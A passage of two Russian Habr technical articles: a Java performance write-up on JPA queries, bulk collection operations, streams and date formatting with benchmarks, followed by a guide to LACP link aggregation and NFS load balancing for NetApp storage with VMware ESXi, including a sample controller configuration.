<https://youtrack.jetbrains.com/issue/IDEA-170178>
Reordering of comparison in @EqualsAndHashCode for better performance #1543
<https://github.com/rzwitserloot/lombok/issues/1543>
KT-23184 Auto-generated equals() of data class is not optimal
<https://youtrack.jetbrains.com/issue/KT-23184>
В качестве обхода можно вручную упорядочивать объявления полей.
#### Усложним задачу
```
void check(Dto dto) {
SomeEntity entity = jpaRepository.findOne(dto.getId());
boolean valid = dto.isValid();
if (valid && entity.hasGoodRating()) { // <----
//do smth
}
}
```
Код предполагает обращение к БД даже тогда, когда итог проверки отмеченного стрелкой условия заранее предсказуем. Если значение переменной `valid` ложно, то код в блоке `if` никогда не выполнится, а значит можно обойтись без запроса:
```
void check(Dto dto) {
boolean valid = dto.isValid();
if (valid && hasGoodRating(dto)) {
//do smth
}
}
// отложенное исполнение можно построить и на предикате, это дело вкуса
boolean hasGoodRating(Dto dto) {
SomeEntity entity = jpaRepository.findOne(dto.getId());
return entity.hasGoodRating();
}
```
**Замечание из кулуаров**Проседание может быть незначительным, когда возвращаемая из `JpaRepository::findOne` сущность уже находится в кэше первого уровня, — тогда запроса не будет.
Похожий пример без явного ветвления:
```
boolean checkChild(Dto dto) {
Long id = dto.getId();
Entity entity = jpaRepository.findOne(id);
return dto.isValid() && entity.hasChild();
}
```
Быстрый возврат позволяет отложить запрос:
```
boolean checkChild(Dto dto) {
if (!dto.isValid()) {
return false;
}
return jpaRepository.findOne(dto.getId()).hasChild();
}
```
**Достаточно очевидное дополнение, не попавшее в доклад**Представьте, что некая проверка использует подобную сущность:
```
@Entity
class ParentEntity {
@ManyToOne(fetch = LAZY)
@JoinColumn(name = "CHILD_ID")
private ChildEntity child;
@Enumerated(EnumType.String)
private SomeType type;
```
Если проверка использует одну и ту же сущность, то стоит позаботится о том, чтобы обращение к "ленивым" дочерним сущностям/коллекциям выполнялось после обращения к полям, которые уже загружены. На первый взгляд один дополнительный запрос не окажет значительного влияния на общую картину, но всё может изменится при выполнении действия в цикле.
Вывод: цепочки действий/проверок стоит упорядочивать в порядке возрастания сложности отдельных операций, возможно часть из них выполнять не придётся.
Циклы и массовая обработка
--------------------------
Следующий пример в особых пояснениях не нуждается:
```
@Transactional
void enrollStudents(Set ids) {
for (Long id : ids) {
Student student = jpaRepository.findOne(id); // <---- O(n)
enroll(student);
}
}
```
Из-за множественных запросов к БД код работает медленно.
**Замечание**Производительность может просесть ещё сильнее, если метод `enrollStudents` исполняется вне транзакции: тогда **каждый** вызов `o.s.d.j.r.JpaRepository::findOne` будет выполнятся в новой транзакции (см. [SimpleJpaRepository](https://github.com/spring-projects/spring-data-jpa/blob/64062aa559f2a48871c6244dbf6bfe8620d92306/src/main/java/org/springframework/data/jpa/repository/support/SimpleJpaRepository.java#L74)), что означает получение и возврат соединения с БД, а также создание и сброс кэша первого уровня.
Исправим:
```
@Transactional
void enrollStudents(Set ids) {
if (ids.isEmpty()) {
return;
}
for (Student student : jpaRepository.findAll(ids)) {
enroll(student);
}
}
```
**Измерим время выполнения (в мкс) для коллекции ключей (10 и 100 штук)**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/911de0a7adeb1559192214e92a0e351ebae2dd0c/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/collection/LoopVsSingleCallBenchmark.java)
**Замечание**Если вы используете Oracle и передаёте более 1000 ключей в `findAll`, то вы получите исключение `ORA-01795: maximum number of expressions in a list is 1000`.
Также выполнения тяжелого (со множеством ключей) `in`-запроса может оказаться хуже, чем n запросов. Тут всё сильно зависит от конкретного приложения, поэтому механическое замена цикла на массовую обработку может ухудшить производительность.
#### Более сложный пример на ту же тему
```
for (Long id : ids) {
Region region = jpaRepository.findOne(id);
if (region == null) { // <---- затруднение
region = new Region();
region.setId(id);
}
use(region);
}
```
В данном случае мы не можем заменить цикл на `JpaRepository::findAll`, т. к. это сломает логику: все значения полученные из `JpaRepository::findAll` будут не `null` и блок `if` не отработает.
Разрешить это затруднение нам поможет то обстоятельство, что для каждого ключа БД
возвращает либо действительное значение, либо его отсутствие. Т. е. в некотором смысле БД — это словарь. Ява из коробки даёт нам готовую реализацию словаря — `HashMap` — поверх которой мы и построим логику подмены БД:
```
Map regionMap = jpaRepository.findAll(ids)
.stream()
.collect(Collectors.toMap(Region::getId, Function.identity()));
for (Long id : ids) {
Region region = map.get(id);
if (region == null) {
region = new Region();
region.setId(id);
}
use(region);
}
```
#### Пример в обратную сторону
```
// class Saver
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void save(List entities) {
jpaRepository.save(entities);
}
```
Этот код всегда создаёт новую транзакцию для сохранения списка сущностей. Проседание начинается при множественных вызовах метода, открывающего новую транзакцию:
```
// другой класс
@Transactional
public void audit(List inserts) {
inserts.map(this::toEntities).forEach(saver::save); // <----
}
// class Saver
@Transactional(propagation = Propagation.REQUIRES\_NEW) // <----
public void save(List entities) {
jpaRepository.save(entities);
}
```
Решение: применять метод `Saver::save` сразу для всего набора данных:
```
@Transactional
public void audit(List inserts) {
List bulk = inserts
.map(this::toEntities)
.flatMap(List::stream) // <----
.collect(toList());
saver.save(bulk);
}
```
**Множество транзакций сливается в одну, что даёт ощутимый прирост (время в мкс):**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/911de0a7adeb1559192214e92a0e351ebae2dd0c/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/audit/AuditBenchmark.java)
Пример со множественными транзакциями сложно формализовать, чего не скажешь о вызове `JpaRepository::findOne` в цикле.
**Поэтому примем меры**<https://youtrack.jetbrains.com/issue/IDEA-165730>
IDEA-165730 Warn about inefficient usage of JpaRepository
<https://youtrack.jetbrains.com/issue/IDEA-165942>
~~IDEA-165942~~ Inspection to replace method call in a loop with bulk operation
**Исправлено в 2017.1**
Подход применим не только к БД, поэтому Тагир [lany](https://habr.com/users/lany/) Валеев пошел дальше. И если раньше мы писали вот так:
```
List list = new ArrayList<>();
for (Long id : items) {
list.add(id);
}
```
и всё было хорошо, то теперь "Идея" предлагает исправиться:
```
List list = new ArrayList<>();
list.addAll(items);
```
Но даже этот вариант удовлетворяет её не всегда, ведь можно сделать ещё короче и быстрее:
```
List list = new ArrayList<>(items);
```
**Сравним (время в нс)**Для ArrayList-а это улучшение даёт заметный прирост:
Для HashSet-а всё не так радужно:
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/bulk/BulkOperationBenchmark.java)
**Полезное для разработчика:**<https://youtrack.jetbrains.com/issue/IDEA-138456>
~~IDEA-138456~~ New inspection: Collection.addAll() replaceable with parametrized constructor
**Исправлено в 142.1217**
<https://youtrack.jetbrains.com/issue/IDEA-178761>
~~IDEA-178761~~ Inspection 'Collection.addAll() replaceable with parametrized constructor' should be turned on by default
**Исправлено в 2017.3**
#### Удаление из `ArrayList`-а
```
for (int i = from; i < to; i++) {
list.remove(from);
}
```
Проблема в реализации метода `List::remove`:
```
public E remove(int index) {
Objects.checkIndex(index, size);
modCount++;
E oldValue = elementData(index);
int numMoved = size - index - 1;
if (numMoved > 0) {
System.arraycopy(array, index + 1, array, index, numMoved); // <----
}
array[--size] = null; // clear to let GC do its work
return oldValue;
}
```
Решение:
```
list.subList(from, to).clear();
```
Но что если в исходном коде удалённое значение используется?
```
for (int i = from; i < to; i++) {
E removed = list.remove(from);
use(removed);
}
```
Теперь нужно предварительно пройти по очищаемому подсписку:
```
List removed = list.subList(from, to);
removed.forEach(this::use);
removed.clear();
```
Если же очень хочется удалять в цикле, то облегчить боль поможет смена направления прохода по списку. Смысл его в том, чтобы сдвигать меньшее количество элементов после очистки ячейки:
```
//прямой проход менее эффективен, т. к. сдвигаются все элементы справа от удаляемого
for (int i = from; i < to; i++) {
E removed = list.remove(from);
use(removed, i);
}
//обратный проход быстрее, т. к. сдвиг всегда постоянный
for (int i = to - 1; i >= from; i--) {
E removed = list.remove(i);
use(removed, reverseIndex(i));
}
```
Сравним все три способа (под столбцами указан % удаляемых элементов из списка размером 100):
**Java 8**
**Java 9**
Кстати, кто-то заметил аномалию?
**Узреть**
Если мы удаляем половину всех данных, двигаясь с конца, то удаляется всегда последний элемент и сдвига не происходит:
```
// ArrayList
public E remove(int index) {
rangeCheck(index);
modCount++;
E oldValue = elementData(index);
int numMoved = size - index - 1;
if (numMoved > 0) { // <---- условие никогда не выполняется
System.arraycopy(elementData, index+1, elementData, index, numMoved);
}
elementData[--size] = null; // clear to let GC do its work
return oldValue;
}
```
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/911de0a7adeb1559192214e92a0e351ebae2dd0c/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/bulk/remove/RemoveFromArrayListBenchmark.java)
**Полезное для разработчика**<https://youtrack.jetbrains.com/issue/IDEA-177466>
~~IDEA-177466~~ Detect List.remove(index) called in a loop
**Исправлено в 2018.2**
Вывод: массовые операции часто быстрее одиночных.
Область видимости и производительность
--------------------------------------
Этот код в особых пояснениях не нуждается:
```
void leaveForTheSecondYear() {
List naughty = repository.findNaughty();
List underAchieving = repository.findUnderAchieving(); // <----
if (settings.leaveBothCategories()) {
leaveForTheSecondYear(naughty, underAchieving); // <----
return;
}
leaveForTheSecondYear(naughty);
}
```
Сужаем область видимости, что даёт минус 1 запрос:
```
void leaveForTheSecondYear() {
List naughty = repository.findNaughty();
if (Settings.leaveBothCategories()) {
List underAchieving = repository.findUnderAchieving(); // <----
leaveForTheSecondYear(naughty, underAchieving); // <----
return;
}
leaveForTheSecondYear(naughty);
}
```
И тут внимательный читатель должен спросить: а как же статический анализ? Почему "Идея" нам не подсказала о лежащем на поверхности улучшении?
Дело в том, что возможности статического анализа ограничены: если метод сложный (тем более взаимодействующий с БД) и влияет на общее состояние, то перенос его исполнения может сломать приложение. Статический анализатор в состоянии сообщить об очень простых исполнениях, перенос которых, скажем, внутрь блока ничего не сломает.
В качестве эрзаца можно использовать подсветку переменных, но, повторюсь, использовать осторожно, т. к. всегда возможны побочные эффекты. Можно использовать аннотацию `@org.jetbrains.annotations.Contract(pure = true)`, доступную из библиотеки [jetbrains-annotations](http://mvnrepository.com/artifact/org.jetbrains/annotations) для обозначения методов, не изменяющих состояние:
```
// com.intellij.util.ArrayUtil
@Contract(pure = true)
public static int find(@NotNull int[] src, int obj) {
return indexOf(src, obj);
}
```
Вывод: чаще всего лишняя работа только ухудшает производительность.
Самый необычный пример
----------------------
```
@Service
public class RemoteService {
private ContractCounter contractCounter;
@Transactional(readOnly = true) // <----
public int countContracts(Dto dto) {
if (dto.isInvalid()) {
return -1; // <----
}
return contractCounter.countContracts(dto);
}
}
```
Эта реализации открывает транзакцию даже в том случае, когда транзакционность не нужна (быстрый возврат -1 из метода).
Всё что нужно сделать, это убрать транзакционность внутрь метода `ContractCounter::countContracts`, где она необходима, а из "внешнего" метода её убрать.
**Сравним время исполнения для случая, когда возвращается -1 (нс):**
**Сравним потребление памяти (байт):**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/transaction/LazyTransactionBenchmark.java)
Вывод: контроллеры и смотрящие "наружу" сервисы нужно освобождать от транзакционности (это не их ответственность) и выносить туда всю логику проверки входных данных, не требующую обращения к БД и транзакционным компонентам.
Преобразование даты/времени в строку
------------------------------------
Одна из вечных задач — превращение даты/времени в строку. До "восьмёрки" мы делали так:
```
SimpleDateFormat formatter = new SimpleDateFormat("dd.MM.yyyy");
String dateAsStr = formatter.format(date);
```
С выходом JDK 8 у нас появился `LocalDate/LocalDateTime` и, соответственно, `DateTimeFormatter`
```
DateTimeFormatter formatter = ofPattern("dd.MM.yyyy");
String dateAsStr = formatter.format(localDate);
```
Измерим его производительность:
```
Date date = new Date();
LocalDate localDate = LocalDate.now();
SimpleDateFormat sdf = new SimpleDateFormat("dd.MM.yyyy");
DateTimeFormatter dtf = DateTimeFormatter.ofPattern("dd.MM.yyyy");
@Benchmark
public String simpleDateFormat() {
return sdf.format(date);
}
@Benchmark
public String dateTimeFormatter() {
return dtf.format(localDate);
}
```
**Время (нс):**
**Память (байт):**
Вопрос: допустим наш сервис получает данные извне и мы не можем отказаться от `java.util.Date`. Будет ли выгодно нам преобразовать `Date` в `LocalDate`, если последний быстрее преобразовывается в строку? Посчитаем:
```
@Benchmark
public String measureDateConverted(Data data) {
LocalDate localDate = toLocalDate(data.date);
return data.dateTimeFormatter.format(localDate);
}
private LocalDate toLocalDate(Date date) {
return date.toInstant().atZone(ZoneId.systemDefault()).toLocalDate();
}
```
**Время (нс):**
**Память (байт):**
Таким образом преобразование `Date` -> `LocalDate` выгодно при использовании "девятки". На "восьмёрке" затраты на преобразование сожрут всё преимущество `DateTimeFormatter`-a.
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/formatter/FormatterBenchmark.java)
Вывод: используйте преимущества новых решений.
Ещё "восьмёрка"
---------------
В этом коде видим очевидную избыточность:
```
Iterator iterator = items // ArrayList
.stream()
.map(Long::valueOf)
.collect(toList()) // <---- зачем нам промежуточный список?
.iterator();
while (iterator.hasNext()) {
bh.consume(iterator.next());
}
```
Уберём её:
```
Iterator iterator = items // ArrayList
.stream()
.map(Long::valueOf)
.iterator();
while (iterator.hasNext()) {
bh.consume(iterator.next());
}
```
**Посмотрим, насколько улучшилась производительность:**
**Сравним с девяткой:**
Удивительно, не так ли? Выше я утверждал, что лишняя работа ухудшает производительность. Но вот мы убираем лишнее — и (внезапно) становится хуже. Чтобы разобраться в происходящем, возьмём два итератора и посмотрим на них под лупой:
**Раскрыть**
```
Iterator iterator1 = items.stream().collect(toList()).iterator();
Iterator iterator2 = items.stream().iterator();
```
Первый итератор — это обычный `ArrayList$Itr`.
**Проход по нему простой:**
```
public boolean hasNext() {
return cursor != size;
}
public E next() {
checkForComodification();
int i = cursor;
if (i >= size) {
throw new NoSuchElementException();
}
Object[] elementData = ArrayList.this.elementData;
if (i >= elementData.length) {
throw new ConcurrentModificationException();
}
cursor = i + 1;
return (E) elementData[lastRet = i];
}
```
Второй любопытнее, это `Spliterators$Adapter`, в основе которого — `ArrayList$ArrayListSpliterator`.
**Проход по нему сложнее**
```
// java.util.Spliterators$Adapter
public boolean hasNext() {
if (!valueReady)
spliterator.tryAdvance(this);
return valueReady;
}
public T next() {
if (!valueReady && !hasNext())
throw new NoSuchElementException();
else {
valueReady = false;
return nextElement;
}
}
```
Посмотрим на перебор итератором через [async-profiler](https://github.com/jvm-profiling-tools/async-profiler):
```
15.64% j.u.ArrayList$ArrayListSpliterator.tryAdvance
10.67% j.u.s.SpinedBuffer.clear
9.86% j.u.Spliterators$1Adapter.hasNext
8.81% j.u.s.StreamSpliterators$AbstractWrappingSpliterator.fillBuffer
6.01% o.o.j.i.Blackhole.consume
5.71% j.u.s.ReferencePipeline$3$1.accept
5.57% j.u.s.SpinedBuffer.accept
5.06% c.l.l.b.ir.IteratorFromStreamBenchmark.iteratorFromStream
4.80% j.l.Long.valueOf
4.53% c.l.l.b.i.IteratorFromStreamBenchmark$$Lambda$8.885721577.apply
```
Видно, что большая часть времени затрачивается на проход по итератору, хотя по большому счёту, он нам не нужен, ведь перебор можно сделать и так:
```
items
.stream()
.map(Long::valueOf)
.forEach(bh::consume);
```
**Сравним с остальными:**
`Stream::forEach` явно в выигрыше, а ведь это странно: в основе по-прежнему лежит `ArrayListSpliterator`, но производительность его использования существенно улучшилась.
**Посмотрим профиль:**
```
29.04% o.o.j.i.Blackhole.consume
22.92% j.u.ArrayList$ArrayListSpliterator.forEachRemaining
14.47% j.u.s.ReferencePipeline$3$1.accept
8.79% j.l.Long.valueOf
5.37% c.l.l.b.i.IteratorFromStreamBenchmark$$Lambda$9.617691115.accept
4.84% c.l.l.b.i.IteratorFromStreamBenchmark$$Lambda$8.1964917002.apply
4.43% j.u.s.ForEachOps$ForEachOp$OfRef.accept
4.17% j.u.s.Sink$ChainedReference.end
1.27% j.l.Integer.longValue
0.53% j.u.s.ReferencePipeline.map
```
В этом профиле большая часть времени затрачивается на "проглатывания" значения внутри `Blackhole`. По сравнению с итератором значительно большая часть времени затрачивается непосредственно на исполнение ява-кода. Можно предположить, что причиной является меньший удельный вес сборки мусора, по сравнению с перебором итератором. Проверим:
```
forEach:·gc.alloc.rate.norm 100 avgt 30 216,001 ± 0,002 B/op
iteratorFromStream:·gc.alloc.rate.norm 100 avgt 30 416,004 ± 0,006 B/op
```
И действительно, `Stream::forEach` даёт вдвое меньшее потребление памяти.
**Почему стало быстрее?**Цепочка вызовов от начала и до "чёрной дыры" выглядит так:
Как видим, из цепочки пропал вызов `ArrayListSpliterator::tryAdvance`, а вместо него появился `ArrayListSpliterator::forEachRemaining`:
```
// ArrayListSpliterator
public void forEachRemaining(Consumer super E action) {
int i, hi, mc; // hoist accesses and checks from loop
ArrayList lst; Object[] a;
if (action == null)
throw new NullPointerException();
if ((lst = list) != null && (a = lst.elementData) != null) {
if ((hi = fence) < 0) {
mc = lst.modCount;
hi = lst.size;
}
else
mc = expectedModCount;
if ((i = index) >= 0 && (index = hi) <= a.length) {
for (; i < hi; ++i) {
@SuppressWarnings("unchecked") E e = (E) a[i]; // <----
action.accept(e);
}
if (lst.modCount == mc)
return;
}
}
throw new ConcurrentModificationException();
}
```
Высокая скорость `ArrayListSpliterator::forEachRemaining` достигается использованием прохода по всему массиву за 1 вызов метода. При использовании итератора проход ограничен одним элементом, поэтому мы всё время упираемся в `ArrayListSpliterator::tryAdvance`.
`ArrayListSpliterator::forEachRemaining` имеет доступ ко всему массиву и перебирает его счётным циклом без дополнительных вызовов.
**Важное замечание**Обратите внимание, что механическая замена
```
Iterator iterator = items
.stream()
.map(Long::valueOf)
.collect(toList())
.iterator();
while (iterator.hasNext()) {
bh.consume(iterator.next());
}
```
на
```
items
.stream()
.map(Long::valueOf)
.forEach(bh::consume);
```
не всегда равнозначна, т. к. в первом случае мы используем для прохода копию данных, не затрагивая сам стрим, а во втором данные берутся непосредственно из стрима.
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/iterator/IteratorFromStreamBenchmark.java)
Вывод: имея дело со сложными представлениями данных будьте готовы к тому, что даже "железные" правила (лишняя работа вредит) перестают работать. Пример выше показывает, что кажущийся лишним промежуточный список даёт преимущество в виде более быстрой реализации перебора.
#### Два подвоха
```
StackTraceElement[] trace = th.getStackTrace();
StackTraceElement[] newTrace = Arrays
.asList(trace)
.subList(0, depth)
.toArray(new StackTraceElement[newDepth]); // <----
```
Первое, что бросается в глаза — протухшее "улучшение", а именно передача в метод `Collection::toArray` массива ненулевой длины. [Здесь](https://shipilev.net/blog/2016/arrays-wisdom-ancients/) очень обстоятельно рассказывается почему это вредит.
Вторая проблема не столь очевидна, и для её понимания можно провести параллель между работой ревьюера и историка.
**Вот это об этом пишет Робин Коллингвуд:**Предположим, например, что он [историк] читает Кодекс Феодосия и перед ним – эдикт императора. **Простое чтение слов и возможность их перевести еще не равносильны пониманию их исторического значения**. Чтобы оценить его, **историк должен представить себе ситуацию, которую пытался разрешить император**...
Вычитывая код очень важно за тем **что** сейчас делает код увидеть намерение разработчика. В нашем случае происходит вот это:
1) список заворачивается в массив
2) часть списка отрезается
3) отрезанный подсписок преобразуется обратно в массив
Иными словами разработчик намеревался создать подмассив, а это гораздо проще сделать так:
```
StackTraceElement[] trace = th.getStackTrace();
StackTraceElement[] newTrace = Arrays.copyOf(trace, depth); // неявный отсчёт с 0
// или
StackTraceElement[] newTrace = Arrays.copyOfRange(trace, 0, depth); //явный отсчёт с 0
```
**Сравним (нс):**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/array/SubListToArrayBenchmark.java)
#### Стримоз головного мозга
```
List list = getList();
Set set = getSet();
return list.stream().allMatch(set::contains); // что проверяется на самом деле?
```
Проверяется вхождение всех элементов списка в набор, но этот код можно значительно упростить, одновременно улучшив его производительность:
```
List list = getList();
Set set = getSet();
return set.containsAll(list);
```
**Сравним (нс):**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/911de0a7adeb1559192214e92a0e351ebae2dd0c/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/stream/AllMatchVsContainsAllBenchmark.java)
#### Ненужные обёртки
Есть интерфейс:
```
interface FileNameLoader {
String[] loadFileNames();
}
```
и использование некой его реализации:
```
private FileNameLoader loader;
void load() {
for (String str : asList(loader.loadFileNames())) { // <---- ненужное заворачивание
use(str);
}
}
```
Часто разработчики считают, что сахарок `forEach` используется только с коллекциями, хотя с массивом его тоже можно:
```
private FileNameLoader loader;
void load() {
for (String str : loader.loadFileNames()) { // <---- проще и быстрее
use(str);
}
}
```
**Сравним (нс):**
[Бенчмарк](https://github.com/stsypanov/logeek-night-benchmark/blob/master/benchmark-runners/src/main/java/com/luxoft/logeek/benchmark/array/ArrayVsAsListIterationBenchmark.java)
**Полезное для разработчика**<https://youtrack.jetbrains.com/issue/IDEA-182206>
~~IDEA-182206~~ Simplification for Arrays.asList().subList().toArray()
**Исправлено в 2018.1**
<https://youtrack.jetbrains.com/issue/IDEA-180847>
~~IDEA-180847~~ Inspection 'Call to Collection.toArray with zero-length array argument' brings pessimization
**Исправлено в 2018.1**
<https://youtrack.jetbrains.com/issue/IDEA-181928>
~~IDEA-181928~~ Stream.allMatch(Collection::contains) can be simplified to Collection.containsAll()
**Исправлено в 2018.1**
<https://youtrack.jetbrains.com/issue/IDEA-184240>
~~IDEA-184240~~ Unnecessary array-to-collection wrapping should be detected
**Исправлено в 2018.1**
Вывод: в несложных случаях более производительный код также:
* короче
* надёжнее
* проще и понятнее
Если вы на своём проекте выловили антипаттерн, который можно формализовать, не стесняйтесь сообщать о них разработчикам систем статического анализа, а не только вашим товарищам. Таким образом, вы поможете всем: разработчики добавят новую проверку и пропылесосят код самой "Идеи" (и вы получите более отказоустойчивую и быструю среду разработки), разработчики библиотек и фреймворков возьмут новую "Идею" и почистят свой код (и вы получите улучшенные библиотеки и фреймворки), и наконец вы сами можете применить статический анализ.
→ [Исходники замеров с пояснениями](https://github.com/stsypanov/logeek-night-benchmark)
→ [Папка с замерами](https://github.com/stsypanov/logeek-night-benchmark/tree/master/results) | https://habr.com/ru/post/423305/ | null | ru | null |
# Агрегация каналов и балансировка трафика по IP для СХД
Для небольших компаний нередко применение всего двух-четырех серверов с виртуализацией, два Ethernet свитча порой даже с возможностью стекирования и Multi-chassis EtherChannel плюс СХД младшей серии — это вполне стандартная конфигурация инфраструктуры среднего бизнеса.
Таким предприятиям очень важно максимально задействовать все доступные технологии, чтобы максимально утилизировать своё оборудование и в этой статье пойдёт речь как этого добиться.
В большинстве современных серверов на борту как правило присутствует минимум два 1Gb интерфейса под данные и один 100Mb для менеджмента.
На СХД младшей серии NetApp FAS2240/FAS2220 на борту каждого контроллера помимо прочего присутствует 4х 1Gb порта.
Т.е. вполне логично использовать схему, где два свича в стеке используют Multi-chassis EtherChannel агрегируя линки идущие от каждого контроллера в каждый свитч для получения как отказоустойчивости так и утилизации пропускной способности всех этих линков. Такая-себе архитектура по образу и подобию [FlexPod Express](http://habrahabr.ru/company/netapp/blog/190708/), но без модно-дорогой фичи vPC как у свитчей компании Cisco серии Nexus, в таком случае вместо интерлинков просто будет использован стек свичей. Да и вообще сервера и свитчи в такой схеме могут быть любого производителя. А если совсем всё туго с бюджетом, то можно использовать прямое включение в сервера, так если у сервера 2 порта на борту, можно будет подключить 4-ре сервера, а когда нужно будет добавить 5-й сервер, тут уж прийдётся покупать свитчи.
Схема подключения FlexPod Express.
Вот пример схемы, который будет описан в статье.
FAS 2240-4 HA — 2 контроллера по 4 1гбит линка
2 сервера с VMware ESXi, в каждом 4 выделенных сетевых порта по 1Гб для связи с хранилищем
2 гигабитных свитча в стеке с поддержкой Multi-chassis EtherChannel и LACP
Итак мы хотим задействовать всю доступную полосу пропускания и имеющиеся интерфейсы серверов и СХД. Т.е. сервер 1 работает преимущественно с ВМ расположенными на контроллере А, сервер 2 с ВМ на контроллере Б, у всех по 4 интерфейса, ВМ разбиты на 4 группы, все поделено равномерно и по честному.
#### [Теоретическая часть](#theory)
Но балансировка нагрузки в сети «магическим образом» не может размазать эту нагрузку по всем линкам сама. Есть алгоритм который позволяет поочерёдно задействовать один из линков в агрегированном канале. [Один из таких алгоритмов основывается на хеш суммах полученных из заголовков IP адресов источника и получателя, выбирая один линк](#algoritm). И этот нюанс играет важную роль в нашей схеме. Так как если хеш сумма для двух разных комбинаций IP источника и получателя будет совпадать, то для таких комбинаций будет задействован один и тот же физический линк. Другими словами важно понимать как работает алгоритм балансировки сетевого трафика и проследить, чтобы комбинации IP адресов были таковыми, чтобы получить отказоустойчивую схему инфраструктуры и задействовать все сетевые линки, опираясь при этом на лучшие практики от NetApp TR-[3749](http://www.netwell.ru/docs/netapp/TR-3749_Rus_NetApp_VMware_vSphere_v5.0/tr-3749_rus_netapp_vmware_vsphere_v5.0.pdf), TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf) и TR-[3839](http://www.netwell.ru/docs/netapp/tr-3839_vmware_nfs.pdf).
Как правило, 2-4 сервера не нагружают 1Gb линки по пропускной способности, использование всех линков одновременно положительно сказывается на скорости взаимодействия узлов сети и на пропускной способности в пиковых нагрузках.
#### [Описание](#description)
Далее (для упрощения) описаны манипуляции с одним контроллером, одним сервером и протоколом NFS.
* 2 линка контроллера подключены в один свитч, 2 в другой
* на стороне свитча настроен multichassis LACP с балансировкой по IP
* на свитче для портов контроллера установлен Flowcontrol = on
* на контроллере для всех портов установлен Flowcontrol = send
* 4 линка по 1Гб на стороне контроллера объединены в один LACP с балансировкой по IP
* поверх VIF (ifgrp) создан VLAN и ему присвоен IP, дополнительно созданы 3 алиаса (адреса выданы последовательно)
* созданы 4 volume, в каждом volume создан qtree, volume экспортированы по NFS
* на сервере ESXi создан vSwitch с 4 интерфейсами с балансировкой по IP
* на этом vSwitch создан порт vmkernel в той же IP подсети и том же VLAN, в котором располагается основной IP и алиасы контроллера
* jumbo фреймы включены по всей цепочке (СХД, свитч, VLAN на свитче, vSwitch, порт vmkernel)
* в ESXi добавлены 4 NFS датастора, все с разных IP адресов (т.е. задействованы и основной IP и все алиасы контроллера)
* 4 VM vmware-io-analyzer.ova на разные NFS датасторы для проверки нагрузки на линки используя, к примеру, паттерн Max-throughput
Нам необходимо чтобы:
* один NFS экспорт был подключен ко всем хостам vmware ESXi по одинаковому IP адресу для того, чтобы vmware воспринимала его как один datastorage, а не как разные (для iSCSI такого требования нет, для каждого сервера можно указывать разные IP таргетов, IQN у них будет одинаковый)
* трафик (входящий и исходящий) от одного сервера к разным datastorage должен идти по разным линкам сервера и СХД
* трафик (входящий и исходящий) от разных серверов к одному datastorage должен идти по разным линкам СХД
#### [Настройка](#configuration)
Фрагменты настройки СХД NetApp FAS:
Обратите внимание, параметр "***lacp***" в строке "*ifgrp create **lacp** vif1 -b ip e0d e0b e0c e0a*", соответствует *Dynamic Multi-Mode* в документации и обязан совпадать с настройками [на свиче](http://habrahabr.ru/post/215351/#switch). TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf)
Также не забудьте про правильные настройки *flowcontrol* как со стороны хранилища, так и свича. Если хранилище «отправляет» (*flowcontrol **send***) контроля потока, то «с другой стороны» свич обязан быть настроен на «приём» управления потоком (*flowcontrol **receive on***). И наоборот: если никто не отправляет, то никто и не должен быть настроен на принием. [Побробнее про flowcontrol](http://habrahabr.ru/post/243119/#flowcontrol).
**Пример настройки NetApp 7-Mode**
```
san01a> rdfile /etc/rc
#Auto-generated by setup Thu may 22 13:26:59 GMT 2014
hostname san01a
ifgrp create lacp vif1 -b ip e0d e0b e0c e0a
vlan create vif1 53
ifconfig e0a flowcontrol send up
ifconfig e0b flowcontrol send up
ifconfig e0c flowcontrol send up
ifconfig e0d flowcontrol send up
ifconfig e0M `hostname`-e0M netmask 255.255.255.0 broadcast 10.10.10.255 flowcontrol full partner 10.10.40.11 mtusize 1500 trusted wins up
ifconfig e0P `hostname`-e0P netmask 255.255.252.0 broadcast 192.168.3.255 flowcontrol full up
ifconfig vif1-53 `hostname`-vif1-53 netmask 255.255.255.0 partner vif1-53 mtusize 9000 trusted -wins up
ifconfig vif1-53 alias 10.10.53.31 netmask 255.255.255.0 up
ifconfig vif1-53 alias 10.10.53.32 netmask 255.255.255.0 up
ifconfig vif1-53 alias 10.10.53.33 netmask 255.255.255.0 up
route add net default 10.10.10.3 1
routed on
options dns.domainname netapp.com
options dns.enable on
options nis.enable off
savecore
```
##### [Отказоустойчивость для NFS](#ha)
Напомню что два контроллера работают в отказоустойчивой паре и если «умирает» один контроллер, то он «переедит» (в терминах NetApp FailOver) на второй контроллер и на физическом контроллере будут работать два логических. Со стороны хоста очень важно настроить таймаут на случай такого переезда 90 секунд. Обратите внимение на запись *partner vif1-53*, она означает, что в случае FailOver при переезде на второй контроллер, вместе с ним переедут и настройки этого виртуального интерфейса. По этому не забывайте указать эту запись, иначе контроллер то переедит, а данные достыпны по старым адресам будут не доступны. Общая логика назначения партнёра для интерфейса такова:
* Если есть тим-интерфейс(ы) (VIF) с VLAN(ами), то настраиваем на каждом таком VLAN'е.
* Если есть VIF(ы), но уже без VLAN(ов), то настраиваем на каждом таком VIF интерфейсе.
* Если нет VIF, но есть VLAN(ы) на физическом интерфейсе, то настраиваем на каждом таком VLAN'е.
* Если нет ни VIF ни VLAN(ов) где бы то ни было, то на каждом физическом интерфейсе.
